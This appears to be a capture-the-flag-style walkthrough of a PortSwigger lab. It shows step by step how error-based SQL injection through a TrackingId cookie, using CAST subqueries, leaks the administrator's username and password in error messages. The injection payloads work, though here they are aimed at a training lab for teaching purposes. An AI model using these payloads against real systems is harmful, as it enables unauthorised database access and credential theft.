[This lab](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based) demonstrates a classic **error-based SQL injection** vulnerability where the full SQL query and error messages are reflected in the response. By crafting queries that trigger specific SQL errors, we can extract column values (like the `administrator`'s password) directly into the error output.
##### Step 1: Identify the Injection Point
1. Visit the lab homepage
2. Go to **Proxy → HTTP history**
3. Find the `GET /` request with the cookie:
```
TrackingId=ogAZZfxtOKUELbuJ
```
4. Send this request to **Repeater**
---
##### Step 2: Trigger a Syntax Error
Append a single quote to the cookie value:
```
TrackingId=ogAZZfxtOKUELbuJ'
```
✅ You get a **verbose SQL error**, showing:
- Full SQL query
- Error: _unclosed string literal_
- Confirms: injection is inside a single-quoted string
![[CleanShot 2025-04-17 at 22.24.59.png]]
---
##### Step 3: Neutralize the Broken Syntax
Add a SQL comment to terminate the string and discard the rest of the query:
```
TrackingId=ogAZZfxtOKUELbuJ'--
```
✅ Error disappears → query is syntactically valid again
---
##### Step 4: Inject a SELECT Subquery with Typecast
Test a simple value:
```
TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--
```
❌ New error: _AND condition must be boolean_
→ Fix by adding `= 1`:
```
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
```
✅ No error → injection is valid and running
---
##### Step 5: Attempt to Extract Data
Now try:
```
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--
```
❌ Truncated query or type error due to:
- Cookie length limit
- Non-integer value being cast
---
##### Step 6: Simplify the Cookie to Save Space
Remove the original cookie value:
```
TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
```
❌ Still returns error due to multiple rows
---
##### Step 7: Limit the Query to One Row
Add `LIMIT 1` to avoid multi-row error:
```
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
```
✅ Error output reveals:
```
ERROR: invalid input syntax for type integer: "administrator"
```
→ You've leaked the first username (`administrator`)
![[CleanShot 2025-04-17 at 22.26.22.png]]
---
##### Step 8: Extract the Password
Replace `username` with `password`:
```
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
```
✅ Error reveals password string for `administrator`
![[CleanShot 2025-04-17 at 22.26.55.png]]
---
##### Step 9: Log In and Solve
1. Go to the login page
2. Log in as:
- Username: `administrator`
- Password: _(leaked password)_
3. ✅ **Lab solved**